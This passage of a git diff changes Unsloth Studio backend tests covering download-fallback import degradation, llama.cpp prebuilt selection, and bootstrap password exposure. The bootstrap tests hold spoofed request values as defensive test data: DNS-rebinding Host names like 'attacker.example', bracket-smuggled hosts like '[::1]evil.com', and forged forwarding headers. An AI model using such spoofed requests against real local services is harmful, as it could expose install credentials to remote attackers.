+
+    finder = _BlockZoo()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Boots without raising and exposes the stub API.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_cached_file_short_circuits(monkeypatch, tmp_path):
-    cached = tmp_path / "cached.gguf"
-    cached.write_bytes(b"\0" * 8)
-    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached))
-    fake = _install(monkeypatch, [])  # must not be called
+def test_degrades_when_shared_helper_import_raises_importerror():
+    """unsloth_zoo can be installed yet fail to import when torch is missing (llama.cpp/GGUF-only
+    Unsloth), raising ImportError not ModuleNotFoundError. The shim must degrade for that too."""
+    import importlib
 
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == str(cached)
-    assert fake.calls == [], "spawned a download for an already-cached file"
+    class _BlockWithImportError:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                # Mirror a torch-less install: a plain ImportError with no .name.
+                raise ImportError("Unsloth: Pytorch is not installed.")
+            return None
+
+    finder = _BlockWithImportError()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_zoo = sys.modules.pop("unsloth_zoo", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_zoo is not None:
+            sys.modules["unsloth_zoo"] = saved_zoo
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_cancel_before_start_raises_no_attempt(monkeypatch):
-    fake = _install(monkeypatch, [])
-    ev = threading.Event()
-    ev.set()
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev)
-    assert fake.calls == []
-
-
-def test_nonstall_error_propagates_without_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")])
-    with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback"
-    assert fake.calls[0].disable_xet is False
-
-
-def test_immediate_success_uses_xet_only(monkeypatch):
-    prepared = []
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport",
-        lambda *a, **k: prepared.append(a),
-    )
-    fake = _install(monkeypatch, [("ok", "/cache/model.gguf")])
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False
-    assert prepared == [], "no cache prep should run when Xet succeeds first try"
-
-
-def test_stall_then_http_fallback_succeeds(monkeypatch):
-    prepared = []
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport",
-        lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)),
-    )
-    fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")])
-
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 2
-    assert fake.calls[0].disable_xet is False  # Xet first
-    assert fake.calls[1].disable_xet is True  # HTTP fallback
-    assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry"
-
-
-def test_second_stall_raises_download_stall_error(monkeypatch):
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("stall", None), ("stall", None)])
-    with pytest.raises(xf.DownloadStallError):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 2
-
-
-def test_cancelled_midattempt_raises_no_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("cancelled", None)])
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1
-
-
-def test_per_file_independent_fallback(monkeypatch):
-    """A stalled shard falls back; a sibling shard that succeeds does not."""
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")])
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a"
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b"
-    assert [c.disable_xet for c in fake.calls] == [False, False, True]
-
-
-# --------------------------------------------------------------------------- #
-# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect
-# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it).
-# --------------------------------------------------------------------------- #
-def _safe_path() -> str:
+def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
+    """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim
+    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails.
+    The backend loads lazily (first use of a heavy helper), so this triggers the load explicitly
+    before asserting the retry/degrade behavior."""
+    import importlib
     import os
-    return os.environ.get("PATH", "")
+
+    monkeypatch.delenv("UNSLOTH_ZOO_DISABLE_GPU_INIT", raising = False)
+    seen_env = []
+
+    class _GpuGatedBlocker:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Crash is in unsloth_zoo's __init__, so intercept "unsloth_zoo" itself (the parent).
+            if name == "unsloth_zoo":
+                # Record the env each attempt sees; raise the no-GPU error both times so the shim
+                # degrades.
+                seen_env.append(os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT"))
+                raise NotImplementedError("Unsloth cannot find any torch accelerator")
+            return None
+
+    finder = _GpuGatedBlocker()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Import is light (lazy backend); unsloth_zoo not loaded yet.
+        assert seen_env == [], seen_env
+        # First use of a heavy helper triggers the load (attempt without the light env, then a retry
+        # with it set); accessing DownloadStallError drives it via __getattr__.
+        stall_error = degraded.DownloadStallError
+        assert seen_env == [None, "1"], seen_env
+        # Both attempts raised -> Unsloth still boots in degraded mode.
+        assert issubclass(stall_error, RuntimeError)
+        # The env override must not leak past the load.
+        assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_disable_xet_constant_set_in_fresh_interpreter():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()},
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+def test_importing_child_should_disable_xet_stays_light(monkeypatch):
+    """Regression guard for the stale-transformers-sidecar bug: importing the shim (and
+    ``child_should_disable_xet``) must NOT pull in ``transformers``/``unsloth_zoo``. The worker calls
+    this at startup to decide the Xet env flip BEFORE activating the sidecar; an eager import here
+    would cache the default transformers 4.57.x in sys.modules, defeating the sidecar sys.path prepend
+    and breaking 5.x models (Qwen3.5/GLM/gemma-4)."""
+    import importlib
 
+    for name in [
+        m
+        for m in list(sys.modules)
+        if m == "transformers"
+        or m.startswith("transformers.")
+        or m == "unsloth_zoo"
+        or m.startswith("unsloth_zoo.")
+        or m == "utils.hf_xet_fallback"
+    ]:
+        monkeypatch.delitem(sys.modules, name, raising = False)
 
-def test_default_leaves_xet_enabled():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"PATH": _safe_path()},  # no HF_HUB_DISABLE_XET
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"without the env var, constants.HF_HUB_DISABLE_XET was not False "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    mod = importlib.import_module("utils.hf_xet_fallback")
+    # The lightweight decision works without the heavy backend.
+    assert mod.child_should_disable_xet({"disable_xet": True}) is True
+    assert mod.child_should_disable_xet({}) is False
+    # And nothing heavy was imported as a side effect.
+    assert "transformers" not in sys.modules, "importing the shim must not import transformers"
+    assert "unsloth_zoo" not in sys.modules, "importing the shim must not import unsloth_zoo"
diff --git a/studio/backend/tests/test_identity.py b/studio/backend/tests/test_identity.py
index 1e84ddef35..712348f7ca 100644
--- a/studio/backend/tests/test_identity.py
+++ b/studio/backend/tests/test_identity.py
@@ -3,7 +3,7 @@
 
 """Tests for the server identity handshake (`GET /api/auth/identity`).
 
-The endpoint lets a client confirm an endpoint is really this Studio install
+The endpoint lets a client confirm an endpoint is really this Unsloth install
 before sending it a credential: the client sends a random nonce and checks the
 returned HMAC against one computed from the install identity secret. A process
 that cannot read this same-user secret cannot forge a matching proof.
diff --git a/studio/backend/tests/test_index_bootstrap_loopback.py b/studio/backend/tests/test_index_bootstrap_loopback.py
new file mode 100644
index 0000000000..87abace22c
--- /dev/null
+++ b/studio/backend/tests/test_index_bootstrap_loopback.py
@@ -0,0 +1,123 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression coverage for bootstrap password exposure to remote clients."""
+
+from types import SimpleNamespace
+
+
+def _request(
+    client_host,
+    request_host = "127.0.0.1",
+    headers = None,
+):
+    """Build a minimal request; ``None`` models an unresolved peer / absent Host."""
+    client = None if client_host is None else SimpleNamespace(host = client_host, port = 0)
+    hdrs = {}
+    if request_host is not None:
+        hdrs["host"] = request_host
+    hdrs.update(headers or {})
+    return SimpleNamespace(client = client, headers = hdrs, url = SimpleNamespace(hostname = request_host))
+
+
+def test_loopback_peers_are_local():
+    from main import _is_local_bootstrap_request
+    cases = (
+        ("127.0.0.1", "127.0.0.1"),
+        ("::1", "::1"),
+        ("::ffff:127.0.0.1", "::ffff:127.0.0.1"),
+        ("127.0.0.1", "localhost"),
+    )
+    for peer, host in cases:
+        assert _is_local_bootstrap_request(_request(peer, host)) is True, (peer, host)
+
+
+def test_non_loopback_peers_are_remote():
+    from main import _is_local_bootstrap_request
+
+    # ::1%eth0 is a scope-id'd address, which ipaddress treats as loopback on
+    # 3.9+; it must not count as a direct local peer.
+    for host in ("192.168.1.10", "::ffff:192.168.1.10", "::1%eth0"):
+        assert _is_local_bootstrap_request(_request(host)) is False, host
+
+
+def test_absent_or_unparseable_peer_fails_safe():
+    from main import _is_local_bootstrap_request
+    for host in (None, "localhost"):
+        assert _is_local_bootstrap_request(_request(host)) is False, host
+
+
+def test_cloudflare_tunnel_clients_are_remote_despite_loopback_peer():
+    from main import _is_local_bootstrap_request
+    for client_ip in ("203.0.113.7", ""):
+        request = _request("127.0.0.1", headers = {"cf-connecting-ip": client_ip})
+        assert _is_local_bootstrap_request(request) is False, client_ip
+
+
+def test_dns_rebinding_host_is_remote_despite_loopback_peer():
+    from main import _is_local_bootstrap_request
+    for host in ("attacker.example", "192.168.1.10", None):
+        assert _is_local_bootstrap_request(_request("127.0.0.1", host)) is False, host
+
+
+def test_unparseable_request_host_fails_safe():
+    """A Host that makes ``request.url.hostname`` raise must fall to remote."""
+    from main import _is_local_bootstrap_request
+
+    class _RaisingURL:
+        @property
+        def hostname(self):
+            raise ValueError("malformed host")
+
+    request = SimpleNamespace(
+        client = SimpleNamespace(host = "127.0.0.1", port = 0), headers = {}, url = _RaisingURL()
+    )
+    assert _is_local_bootstrap_request(request) is False
+
+
+def test_reverse_proxy_forwarded_headers_are_remote():
+    """A loopback proxy relaying a remote client (non-Cloudflare headers) is remote."""
+    from main import _is_local_bootstrap_request
+    for header in ("forwarded", "x-forwarded-for", "x-forwarded-host", "x-real-ip"):
+        request = _request("127.0.0.1", "localhost", headers = {header: "203.0.113.7"})
+        assert _is_local_bootstrap_request(request) is False, header
+
+
+def test_malformed_or_absent_host_is_remote():
+    """A malformed/absent/scope-id Host must not fall back to the loopback server address."""
+    from main import _is_local_bootstrap_request
+
+    # incl. bracket smuggling: [::1]evil / unclosed [::1 must not reduce to ::1
+    for host in (
+        "e_vil",
+        "[malformed",
+        "",
+        None,
+        "[::1%25eth0]:8888",
+        "[::1]attacker",
+        "[::1]evil.com",
+        "[::1",
+        "[::1]x",
+    ):
+        assert _is_local_bootstrap_request(_request("127.0.0.1", host)) is False, host
+
+
+def test_colab_allows_notebook_proxy_but_not_shareable_tunnel(monkeypatch):
+    """Colab autofills its single-user proxy, but not a public Cloudflare link."""
+    import main
+
+    monkeypatch.setattr(main, "_IS_COLAB", True)
+    # In-notebook proxy: same-origin, no tunnel header, injects off-loopback too.
+    assert main._should_inject_bootstrap(_request("10.0.0.2", "colab.proxy")) is True
+    # Shareable Cloudflare link marks visitors with cf-connecting-ip; withhold.
+    tunnel = _request("127.0.0.1", "localhost", headers = {"cf-connecting-ip": "203.0.113.7"})
+    assert main._should_inject_bootstrap(tunnel) is False
+
+
+def test_non_colab_gate_requires_local_client(monkeypatch):
+    """Outside Colab the gate injects only for a direct loopback client."""
+    import main
+
+    monkeypatch.setattr(main, "_IS_COLAB", False)
+    assert main._should_inject_bootstrap(_request("127.0.0.1", "localhost")) is True
+    assert main._should_inject_bootstrap(_request("192.168.1.10", "localhost")) is False
diff --git a/studio/backend/tests/test_index_bootstrap_origin_extra.py b/studio/backend/tests/test_index_bootstrap_origin_extra.py
index feda88c14c..e1c52a653e 100644
--- a/studio/backend/tests/test_index_bootstrap_origin_extra.py
+++ b/studio/backend/tests/test_index_bootstrap_origin_extra.py
@@ -26,7 +26,7 @@ def _build_request(
 
 
 def test_is_same_origin_request_ipv6_loopback_same_origin():
-    """Studio supports ``-H ::1`` binds; netloc is ``[::1]:8902``. Bare
+    """Unsloth supports ``-H ::1`` binds; netloc is ``[::1]:8902``. Bare
     ``partition(":")`` mis-parses the bracketed form and would refuse the
     bootstrap on legitimate same-origin navigation.
     """
diff --git a/studio/backend/tests/test_inference_default_models_non_blocking.py b/studio/backend/tests/test_inference_default_models_non_blocking.py
new file mode 100644
index 0000000000..83a8e7bbfb
--- /dev/null
+++ b/studio/backend/tests/test_inference_default_models_non_blocking.py
@@ -0,0 +1,42 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Default Chat model metadata must not block on remote Hugging Face discovery."""
+
+from __future__ import annotations
+
+import sys
+import time
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.orchestrator import InferenceOrchestrator  # noqa: E402
+
+
+def test_default_models_returns_static_defaults_before_top_fetch(monkeypatch):
+    sleep_seconds = 2.0
+
+    def _slow_fetch(self: InferenceOrchestrator) -> None:
+        time.sleep(sleep_seconds)
+        self._top_gguf_cache = ["unsloth/slow-GGUF"]
+        self._top_models_ready.set()
+
+    monkeypatch.setattr(InferenceOrchestrator, "_fetch_top_models", _slow_fetch)
+
+    orchestrator = InferenceOrchestrator()
+    started = time.monotonic()
+    defaults = orchestrator.default_models
+    elapsed = time.monotonic() - started
+
+    assert elapsed < 0.5, f"default_models blocked for {elapsed:.2f}s"
+    assert defaults == orchestrator._static_models
+    assert "unsloth/slow-GGUF" not in defaults
+
+    deadline = time.monotonic() + sleep_seconds + 5
+    while not orchestrator._top_models_ready.is_set() and time.monotonic() < deadline:
+        time.sleep(0.05)
+
+    assert "unsloth/slow-GGUF" in orchestrator.default_models
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
index 60d7503485..6184496d78 100644
--- a/studio/backend/tests/test_inference_dispatcher_resilience.py
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -112,7 +112,7 @@ def test_route_llama_streaming_async_clients_disable_proxy_env():
             continue
         calls.append(node)
 
-    assert len(calls) == 4
+    assert len(calls) == 5
     for call in calls:
         assert any(
             kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index e9941d9e62..02ccc68b11 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -1,7 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""install_llama_prebuilt.py: host->repo mapping and the --resolve-prebuilt mode.
+"""install_llama_prebuilt.py: the --resolve-prebuilt probe (plans against the fork
+by default; --published-repo overrides).
 
 These back the in-app update for source-build (markerless) installs: the backend
 asks the installer whether an official prebuilt exists for this host without
@@ -24,9 +25,7 @@ if str(_studio) not in sys.path:
 
 ilp = importlib.import_module("install_llama_prebuilt")
 
-if not hasattr(ilp, "published_repo_for_host") or not hasattr(
-    ilp, "resolve_simple_install_release_plans"
-):
+if not hasattr(ilp, "resolve_simple_install_release_plans"):
     pytest.skip("PR symbols not present - check branch", allow_module_level = True)
 
 FORK = ilp.DEFAULT_PUBLISHED_REPO  # unslothai/llama.cpp
@@ -56,71 +55,25 @@ def _host(**kw):
     return ilp.HostInfo(**base)
 
 
-def test_published_repo_for_host():
-    # CPU-only Linux (x64 and arm64) -> ggml-org upstream.
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True)) == UPSTREAM
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_arm64 = True, machine = "aarch64"))
-        == UPSTREAM
-    )
-    # GPU Linux -> fork.
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_usable_nvidia = True))
-        == FORK
-    )
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_rocm = True)) == FORK
-    # CPU-only Windows -> ggml-org (setup.ps1: the fork ships no win-cpu bundle).
-    assert (
-        ilp.published_repo_for_host(_host(system = "Windows", is_windows = True, is_x86_64 = True))
-        == UPSTREAM
-    )
-    # GPU Windows -> fork.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True, has_usable_nvidia = True)
-        )
-        == FORK
-    )
-    # macOS -> fork regardless of GPU (ggml-org macOS bundles need too-new macOS).
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    # Linux with AMD tooling but no probed GPU -> fork (setup.sh routes on tooling).
-    assert (
-        ilp.published_repo_for_host(
-            _host(is_linux = True, is_x86_64 = True), linux_amd_tooling_present = True
-        )
-        == FORK
-    )
-    # The tooling hint is Linux-only: Windows CPU stays on ggml-org.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True),
-            linux_amd_tooling_present = True,
-        )
-        == UPSTREAM
-    )
-
-
-def test_macos_intel_and_arm_both_route_to_fork():
-    # macOS uses the unslothai fork's own Mac prebuilts for BOTH arm64 and Intel;
-    # there is no longer any upstream-on-macOS default path, so the obsolete
-    # pre-macOS-26 pin (b9415) is gone.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_x86_64 = True, machine = "x86_64")
-        )
-        == FORK
+def test_force_cpu_clears_all_gpu_attributes_including_intel():
+    # --cpu-fallback is the "select the CPU prebuilt even when a GPU is present"
+    # escape hatch. It must drop EVERY GPU attribute, including has_intel_gpu, or
+    # the planner still prepends the Vulkan asset on an Intel-GPU host.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_usable_nvidia = True,
+        has_physical_nvidia = True,
+        has_rocm = True,
+        rocm_gfx_target = "gfx1100",
+        has_intel_gpu = True,
     )
+    forced = ilp._apply_host_overrides(host, force_cpu = True)
+    assert forced.has_usable_nvidia is False
+    assert forced.has_physical_nvidia is False
+    assert forced.has_rocm is False
+    assert forced.rocm_gfx_target is None
+    assert forced.has_intel_gpu is False
 
 
 def test_macos_upstream_pin_only_for_explicit_pre26_upstream():
@@ -188,15 +141,13 @@ def test_resolve_prebuilt_unavailable(monkeypatch, capsys):
     assert out["repo"] == FORK
 
 
-def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
-    # CPU-probed Linux host but rocminfo on PATH: the dispatch must route to the
-    # fork so a HIP source build is not offered an upstream CPU prebuilt.
-    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
-    monkeypatch.setattr(ilp.shutil, "which", lambda tool: tool == "rocminfo")
+def _run_resolve_capture_host(monkeypatch, capsys):
+    """Drive --resolve-prebuilt and return the host the resolver was handed."""
     seen = {}
 
     def _resolver(tag, host, repo, published_release_tag):
         seen["repo"] = repo
+        seen["host"] = host
         raise ilp.PrebuiltFallback("no asset")
 
     monkeypatch.setattr(ilp, "resolve_simple_install_release_plans", _resolver)
@@ -207,10 +158,33 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
     )
     assert ilp.main() == ilp.EXIT_SUCCESS
     out = json.loads(capsys.readouterr().out.strip().splitlines()[-1])
+    return seen, out
+
+
+def test_resolve_prebuilt_cpu_linux_routes_to_fork(monkeypatch, capsys):
+    # CPU-only Linux host (no GPU): the dispatch routes to the fork, which now
+    # ships the CPU prebuilt -- it no longer falls back to ggml-org upstream.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
     assert seen["repo"] == FORK
     assert out["repo"] == FORK
 
 
+def test_resolve_prebuilt_rocm_sdk_only_host_still_offered_cpu(monkeypatch, capsys):
+    # A CPU-only host that merely has ROCm/HIP SDK tools on PATH (no AMD GPU, so
+    # detect_host leaves has_rocm False) is a valid CPU-prebuilt target. The probe
+    # must NOT reclassify it as ROCm from tool presence alone and suppress the CPU
+    # bundle -- that would deny the fork CPU prebuilt to a legitimate CPU source
+    # build. The host is left CPU-only and resolves against the fork.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    monkeypatch.setattr(
+        ilp.shutil, "which", lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == FORK
+    assert seen["host"].has_rocm is False
+
+
 # Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer
 # sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection.
 
@@ -226,14 +200,9 @@ def _gpu_linux_host(caps):
     )
 
 
-def test_host_is_blackwell_includes_datacenter_parts():
-    assert ilp._host_is_blackwell(_gpu_linux_host(["10.0"])) is True  # B200 sm_100
-    assert ilp._host_is_blackwell(_gpu_linux_host(["10.3"])) is True  # B300 sm_103
-    assert ilp._host_is_blackwell(_gpu_linux_host(["12.0"])) is True  # RTX 50 sm_120
-    assert ilp._host_is_blackwell(_gpu_linux_host(["12.1"])) is True  # DGX Spark sm_121
-    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0"])) is False  # Hopper
-    assert ilp._host_is_blackwell(_gpu_linux_host(["8.0"])) is False  # Ampere
-    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True  # highest cap wins
+# _host_is_blackwell / _blackwell_min_toolkit_for_host are prebuilt_core
+# re-exports; their value tables moved verbatim to
+# tests/studio/install/test_prebuilt_core.py.
 
 
 def _linux_cuda_artifact(runtime_line, supported_sms, min_sm, max_sm, profile):
@@ -311,16 +280,6 @@ def test_drop_blackwell_incapable_windows_cuda_applies_to_datacenter():
     assert [a.name for a in kept] == [cuda13.name]
 
 
-def test_blackwell_min_toolkit_is_sm_aware():
-    # Family floor is 12.8; sm_103/sm_121 (no native target before 12.9) lift it.
-    f = ilp._blackwell_min_toolkit_for_host
-    assert f(_gpu_linux_host(["10.0"])) == (12, 8)  # B200
-    assert f(_gpu_linux_host(["12.0"])) == (12, 8)  # RTX 50
-    assert f(_gpu_linux_host(["10.3"])) == (12, 9)  # B300
-    assert f(_gpu_linux_host(["12.1"])) == (12, 9)  # DGX Spark
-    assert f(_gpu_linux_host(["10.0", "10.3"])) == (12, 9)  # max across SMs wins
-
-
 def test_sm103_host_drops_cuda128_windows_build():
     # B300 (sm_103) needs cuda-12.9: a legacy win-cuda-12.8 build must be dropped.
     host = _host(
@@ -360,3 +319,481 @@ def test_sm103_host_drops_cuda128_windows_build():
     )
     kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129])
     assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name]
+
+
+def _upstream_release(tag, asset_names):
+    return {
+        "tag_name": tag,
+        "assets": [
+            {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names
+        ],
+    }
+
+
+def test_direct_upstream_arm64_intel_prefers_vulkan():
+    # Auto-detected Intel GPU on Linux arm64 -> Vulkan prebuilt first, CPU
+    # second (mirrors the x86_64 branch; ggml-org ships the arm64 Vulkan asset).
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-arm64" in kinds
+    assert plan.attempts[0].name == "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz"
+
+
+def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only():
+    # A host with a physical NVIDIA hidden via CUDA_VISIBLE_DEVICES (physical
+    # True, usable False) + an Intel iGPU must NOT get the Vulkan archive even
+    # when planning directly against upstream: Vulkan ignores CUDA_VISIBLE_DEVICES
+    # and could grab the reserved card. It falls through to the CPU asset.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
+
+
+def test_direct_upstream_arm64_without_intel_is_cpu_only():
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64")
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-arm64"]
+
+
+def test_direct_upstream_x86_intel_prefers_vulkan():
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-cpu" in kinds
+
+
